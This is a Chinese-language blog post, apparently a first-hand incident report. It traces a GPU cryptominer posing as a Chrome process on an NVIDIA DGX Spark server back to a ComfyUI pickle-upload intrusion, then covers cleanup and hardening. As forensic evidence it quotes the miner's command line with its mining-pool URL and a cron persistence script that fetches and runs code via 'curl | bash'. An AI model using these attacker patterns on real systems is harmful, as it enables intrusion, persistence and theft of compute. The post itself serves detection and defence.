揪出伪装成 Chrome 的 GPU 挖矿木马:NVIDIA DGX Spark 服务器应急响应与 ComfyUI 漏洞溯源实录

前几天在检查 NVIDIA DGX Spark (GB10 Grace Blackwell) 算力节点状态时,发现了一个极其诡异的现象:在没有任何主动推理和生图任务的情况下,nvidia-smi 显示 GPU 利用率(GPU-Util)长期飙升在 96% 左右,功耗拉满到 96W,温度直逼 80°C;但只要切过去敲几行排查命令,占用率又会瞬间跌回 0%。期初的发现真是通过技术奇客ITGeeker.net开发的 ITGeeker GPU Widget 工具

这种“猫鼠游戏”般的间歇性满载,明显不是正常业务的特征。经过一番顺藤摸瓜的底层取证,最终揪出了一套伪装成 Google Chrome 进程、利用 ComfyUI 历史反序列化漏洞入侵、并潜伏了数月的加密货币挖矿木马。

本文将完整复盘这次从异常发现、进程抓包、逆向溯源到彻底清理与安全加固的全过程,供各位自建 AI 算力服务器的朋友引以为戒。


一、 异常初现:96% 的算力去哪了?

最初通过ITGeeker GPU Widget发现自己没有使用任何大模型的时候,占有率一直还是那么高, 立即登录ssh执行 watch -n 5 nvidia-smi 监控显卡状态时,看到的画面如下:

列表中 sglang::scheduler 占用了近 89GB 统一内存,但它是常驻待机的。真正可疑的是最下面那个 PID 2399636:

  1. 进程名末尾显示为 ...rack-uuid=3190708988185955192(看起来像是 Chrome 浏览器参数)。
  2. 但它的 Type 却是纯计算进程 C(而非正常的图形+计算 C+G),且单独吃掉了 2,306 MiB 显存。

当我准备运行 nvidia-smi pmon -s u -d 1 抓它的 SM(计算核心)占用率时,狡猾的一幕发生了:PID 2399636 已经退出了,GPU 占用率瞬间掉到了 0%。


二、 守株待兔:用后台钩子抓出完整命令行

既然木马会间歇性休眠以躲避人工排查,那就写一段轻量级的后台监控脚本,只要有进程把 GPU SM 算力拉高超过 5%,立刻把它的完整启动参数(ps -o args=)写入日志:

nohup bash -c '
nvidia-smi pmon -s u -d 2 -o DT | awk "
!/^#/ && \$6 ~ /^[0-9]+$/ && \$6 > 5 {
    cmd = \"ps -o args= -p \" \$4;
    cmd | getline full_cmd;
    close(cmd);
    print \$1, \$2, \"PID:\"\$4, \"SM:\"\$6\"%\", \"MEM:\"\$7\"%\", \"CMD:\", full_cmd;
    fflush();
}" >> /tmp/gpu_spikes.log 2>&1
' >/dev/null 2>&1 &

不久后,日志文件 /tmp/gpu_spikes.log 成功捕获到了现行(PID 2614193,SM 占用 94%):

20261121 09:31:36 PID:2614193 SM:94% MEM:0% CMD: /opt/google/chrome/chrome --type=gpu-process --gpu-recent-crash-count=0 --ozone-platform=wayland ... --trace-process-track-uuid=3190708988185955192 --coin pearl --user krxX2P8GQ4/pearl-30a2d0addf --url stratum+ssl://prl.kryptex.network:8048 ...

彻底实锤! 攻击者修改了进程的 argv 参数,前半段完整复制了正常 Chrome GPU 进程的启动参数进行伪装,后半段却暴露了它的真实身份——连接 kryptex.network 矿池 8048 端口挖掘 Pearl (PRL) 代币的 GPU 挖矿木马。


三、 顺藤摸瓜:从 /proc 逆向还原完整攻击链

趁着 PID 2614193 还在活跃运行,先不要急着 kill,直接通过 Linux 内核的 /proc 虚拟文件系统提取它的“铁证”:

ls -la /proc/2614193/exe /proc/2614193/cwd
tr '\0' '\n' < /proc/2614193/environ
ls -la /proc/2614193/fd

取证结果令人震惊,每一条线索都严丝合缝地拼出了整条入侵路径:

  1. 无文件隐身术:

    /proc/2614193/exe 指向 /root/.cache/.sys_core/.python (deleted)。木马启动后立即删除了磁盘上的二进制自身,只在内存中驻留运行,并将日志输出到 /root/.cache/.sys_core/.sys_log.log。
  2. 入侵源头直指 ComfyUI:
    • 环境变量中包含 MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/comfyui.service/memory.pressure 和 COMFYUI_PATH=/opt/ai_app/ComfyUI。
    • 打开的文件句柄 fd 54 直接指向 /opt/ai_app/ComfyUI/input/libcuda_1795188113.cmd。
    • 进一步排查 /opt/ai_app/ComfyUI/input/ 目录,发现了两个创建于 7 月 19 日 的恶意序列化文件:835007sasddfsdsfdb63f5cc718ffd5babbad07f3bca3bf.pkl。
  3. 持久化后门(每分钟自动“复活”):

    在 /etc/cron.d/ 目录下,发现了一个同样创建于 7 月 19 日 的定时任务文件 sys-reviver:* * * * * root /lib/systemd/system-gpu/sys-reviver。查看 /lib/systemd/system-gpu/sys-reviver 的源码,发现它每分钟都会检查名为 systemd-gpu-mgr 的进程是否存活;一旦发现被杀,就会读取 sys-gpu.conf 配置,直接通过 curl -sL "$SCRIPT_URL" | bash 从云端重新拉取木马并启动!同时,攻击者还在 /root/.ssh/authorized_keys 中植入了一把免密登录公钥。

攻击链路复盘:早期部署 ComfyUI 时,由于服务直接以 root 权限运行且曾暴露在公网,攻击者利用 ComfyUI 的文件上传与 .pkl 反序列化漏洞(RCE)上传恶意载荷,直接继承 root 权限植入了每分钟自启的 sys-reviver 守护脚本与 SSH 后门。


四、 彻底清理与五步安全加固闭环

找准病根后,我们按以下步骤完成了彻底清理与系统加固:

步骤 1|拔除木马进程、隐藏目录与持久化定时任务

# 1. 停止守护定时任务并删除伪造系统目录
rm -f /etc/cron.d/sys-reviver
rm -rf /lib/systemd/system-gpu /var/lock/.reviver.lock

# 2. 强制结束挖矿进程并清理隐藏老巢及 ComfyUI 恶意载荷
kill -9 2614193
pkill -9 -f "systemd-gpu-mgr"
rm -rf /root/.cache/.sys_core
rm -f /opt/ComfyUI/input/libcuda*
rm -f /opt/ComfyUI/input/835007sasddfsdsfdb63f5cc718ffd5babbad07f3bca3bf*.pkl

# 3. 清理 /root/.ssh/authorized_keys 中的陌生公钥后门,仅保留可信密钥

步骤 2|封死矿池域名与出站端口

在 /etc/hosts 中将 kryptex.network 系列矿池域名全部指向 0.0.0.0,并在 iptables 出站链中直接丢弃发往 8048 端口的流量:

iptables -I OUTPUT -p tcp --dport 8048 -j DROP

步骤 3|ComfyUI 服务降权(绝不用 root 跑 AI 应用)

将 /opt/ai_app/ComfyUI 及 Python 虚拟环境的所有权移交给普通用户 itgeeker,将 itgeeker 加入 video,render 组以保留 GPU 调用权限,并修改 /etc/systemd/system/comfyui.service:

[Service]
User=itgeeker
Group=itgeeker
WorkingDirectory=/opt/ComfyUI
ExecStart=/opt/pyenv_confyui_312/.venv/bin/python main.py --listen 127.0.0.1 --enable-manager

将监听地址锁定为 127.0.0.1,彻底切断外部直接扫描 8188 端口的可能。

步骤 4|配置端口白名单并持久化防火墙规则

对于局域网或内部隧道需要调用的端口(如 8188、8000、30001),通过 iptables 严格限制仅允许本机(127.0.0.1)和内网段(192.168.188.0/24)访问,其余来源一律 DROP,并通过 netfilter-persistent save 持久化保存。同时排查了内网免密互通的其他 Linux 主机,确认未发生横向渗透。

步骤 5|部署自动化安全巡检脚本

最后编写了一个轻量级的 security_audit.sh 定时巡检脚本,每 30 分钟自动对比一次:

  • 隐藏目录(/tmp、/dev/shm、/root/.cache)下运行的无文件进程及进程名伪装;
  • ComfyUI input 目录下新增的 .pkl / .cmd / .sh 可疑文件;
  • Cron 定时任务、SSH authorized_keys、系统监听端口以及 iptables 防火墙规则的哈希基线变化。

五、 总结与教训

自建 AI 算力服务器(尤其是大显存、高算力设备)如今已成为黑产挖矿木马的重点扫描目标。这次排障留下了三条核心安全准则:

  1. 最小权限原则:ComfyUI、WebUI 等第三方开源 AI 应用更新频繁、插件生态复杂,绝对不要以 root 身份运行,哪怕出现 0-day 漏洞,降权运行也能将破坏死死锁在普通用户目录内。
  2. 禁止无鉴权公网暴露:任何推理 API 或 Web 界面,严禁直接通过端口映射裸露在公网,必须收口在 127.0.0.1 或内网白名单内,并通过带身份验证的反向代理或 SSH 加密隧道访问。
  3. 关注异常瞬时负载:遇到 GPU 占用率“一查就降、不查就满”的诡异现象,善用 nvidia-smi pmon 配合 取证,往往能直接揭开高级伪装木马的画皮。

评论

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

这个站点使用 Akismet 来减少垃圾评论。了解你的评论数据如何被处理。

奇客罗方公众号 奇客罗方小程序 奇客罗方客服 ITGeeker Telegram

网站由ITGeeker技术奇客开发并管理;隶属于GeekerCloud奇客罗方智能科技
Site designed and developed by ITGeekerwhich is a sub-website of GeekerCloud
网站地图 | 沪ICP备2021031434号-4